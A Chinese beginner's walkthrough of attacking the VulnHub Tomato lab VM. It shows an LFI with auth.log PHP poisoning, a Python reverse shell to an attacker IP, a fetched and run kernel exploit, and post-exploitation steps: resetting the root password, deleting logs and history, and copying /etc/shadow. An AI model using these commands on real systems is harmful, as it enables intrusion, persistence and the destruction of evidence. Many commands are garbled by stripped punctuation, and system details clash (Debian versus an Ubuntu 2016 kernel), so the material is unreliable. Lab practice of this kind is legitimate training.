给渗透新手的保姆级教程:用Kali Linux一步步搞定VulnHub Tomato靶机提权

给渗透新手的保姆级教程:用Kali Linux一步步搞定VulnHub Tomato靶机提权 Kali Linux实战指南VulnHub Tomato靶机渗透全流程解析引言为什么选择Tomato靶机作为渗透测试入门对于刚接触网络安全的新手来说找到一个合适的练习环境往往比掌握技术本身更具挑战性。VulnHub平台上的Tomato靶机恰好填补了这一空白——它既包含了真实世界中的常见漏洞又避免了过于复杂的配置要求。这个基于Debian的系统模拟了企业环境中可能遇到的各种安全薄弱环节从简单的文件包含漏洞到需要内核提权的场景为学习者提供了完整的攻击链体验。不同于其他靶机可能存在的黑箱操作Tomato的每个漏洞点都设计得恰到好处能让新手在攻克过程中直观理解渗透测试的核心逻辑。我们将使用Kali Linux 2023.4最新版本从网络配置开始逐步演示如何发现漏洞、获取初始访问权限最终完成提权操作。特别值得注意的是本教程会详细解释每个命令背后的原理以及遇到常见错误如GLIBC版本冲突时的解决方案确保读者不仅能跟着做更能理解为什么这么做。1. 环境准备与靶机配置1.1 虚拟机网络设置详解在VMware Workstation中导入Tomato靶机OVA文件后正确的网络配置是成功渗透的第一步。许多新手在此环节容易忽略关键设置导致后续无法建立攻击路径。右击靶机选择设置将网络适配器调整为NAT模式非桥接模式并确保勾选连接状态下的两个选项启动时连接保证虚拟机启动时自动启用网络接口已连接立即激活网络连接提示NAT模式能自动处理IP分配问题避免因网段不同导致的连通性问题。如果使用VirtualBox还需在高级设置中允许混杂模式。完成设置后启动靶机在Kali Linux终端执行以下命令确认网络连通性arp-scan -l | grep -i VMware正常情况应能看到类似输出192.168.47.140 00:0c:29:xx:xx:xx VMware, Inc.如果无法发现靶机IP按以下步骤排查检查靶机是否正常启动观察虚拟机控制台确认Kali的网络适配器同样使用NAT模式尝试在靶机控制台执行ifconfig手动查看IP1.2 Kali Linux工具准备虽然Kali默认包含所有必要工具但我们仍建议更新至最新版本sudo apt update sudo apt full-upgrade -y特别需要确认以下工具版本Nmap7.93Dirb2.22Python33.11使用--version参数即可检查nmap --version | head -n 12. 信息收集与漏洞识别2.1 全面端口扫描策略发现靶机IP(192.168.47.140)后分阶段执行端口扫描能提高效率。首先快速确认开放端口nmap -T4 -p- 192.168.47.140 --max-retries 1关键参数说明-T4加快扫描速度-p-扫描所有65535个端口--max-retries 1减少重试次数发现开放端口后进行深度服务识别nmap -sCV -O -p21,80,2211,8888 192.168.47.140 -oN tomato_scan.txt扫描结果通常包含以下关键信息端口服务版本信息潜在风险80httpApache 2.4.52Web漏洞2211sshOpenSSH 8.2p1弱认证8888httpnginx 1.18.0登录绕过2.2 Web目录深度挖掘使用dirb扫描Web目录时添加-X参数指定扫描特定文件扩展名能提高效率dirb http://192.168.47.140 -X .php,.txt,.bak发现/antibot_image目录后重点检查其中的info.php文件。查看源码时使用浏览器开发者工具F12比直接访问更安全右键页面选择查看页面源码搜索include或require关键字发现可疑代码片段$file $_GET[image]; include($file);这确认存在本地文件包含(LFI)漏洞可通过?image参数读取系统文件。3. 漏洞利用与初始访问3.1 文件包含漏洞实战利用尝试读取系统关键文件验证漏洞http://192.168.47.140/antibot_image/info.php?image/etc/passwd成功读取后进一步获取SSH日志定位攻击入口http://192.168.47.140/antibot_image/info.php?image/var/log/auth.log利用日志注入PHP代码的技巧需要特别注意时间窗口——必须在两次访问之间快速完成操作首先清空日志内容如果允许echo | ssh ?php ?192.168.47.140 -p 2211注入恶意代码ssh ?php system($_GET[cmd]); ?192.168.47.140 -p 2211立即访问包含日志的URL执行命令http://192.168.47.140/antibot_image/info.php?image/var/log/auth.logcmdid3.2 稳定Shell获取技巧使用Python3反弹Shell时推荐使用以下改进版代码增加连接稳定性python3 -c import socket,os,pty;ssocket.socket();s.connect((192.168.47.129,4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(/bin/bash)在Kali端使用改进的NC监听命令rlwrap nc -lvnp 4444rlwrap提供的行缓冲和历史记录能极大提升交互体验。获取初始Shell后立即升级为完全交互式终端python3 -c import pty;pty.spawn(/bin/bash) export TERMxterm CtrlZ stty raw -echo; fg4. 权限提升与内核漏洞利用4.1 靶机环境深度分析执行全面信息收集命令# 系统信息 uname -a cat /etc/os-release # 用户信息 id sudo -l find / -perm -4000 2/dev/null # 网络信息 netstat -tulnp ip a重点关注内核版本信息Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux4.2 内核提权实战过程在Kali上搜索可用漏洞searchsploit linux 4.4.0-21 | grep -i ubuntu发现多个候选漏洞其中45010.c的成功率较高。编译时需注意检查靶机架构dpkg --print-architecture # 靶机上执行在Kali上交叉编译gcc 45010.c -o exp -static设置HTTP服务传输文件python3 -m http.server 8000靶机下载并执行wget http://192.168.47.129:8000/exp -O /tmp/exp chmod x /tmp/exp cd /tmp ./exp4.3 GLIBC版本冲突解决方案当遇到GLIBC版本不匹配错误时可采用以下任一方法方法一静态编译gcc 45010.c -o exp -static方法二使用相同环境编译下载Ubuntu 16.04镜像创建临时VM安装编译环境sudo apt update sudo apt install gcc libc6-dev在相同环境中编译exp方法三替代提权路径如果内核提权不可行尝试以下方法查找SUID程序find / -perm -4000 2/dev/null检查可写计划任务ls -la /etc/cron* /var/spool/cron利用环境变量劫持echo int main() { setuid(0); system(/bin/bash); } /tmp/exploit.c gcc /tmp/exploit.c -o /tmp/exploit export PATH/tmp:$PATH5. 渗透后的标准操作流程成功获取root权限后应按标准流程执行以下操作建立持久化访问echo root:password123 | chpasswd systemctl restart ssh清除攻击痕迹history -c rm -f /var/log/auth.log收集证据与信息cat /etc/shadow /tmp/shadow_backup mysqldump -A /tmp/db_dump.sql网络拓扑探测arp -a traceroute 8.8.8.8注意在实际渗透测试中必须获得书面授权后才能执行上述操作且所有操作应遵循约定的测试范围。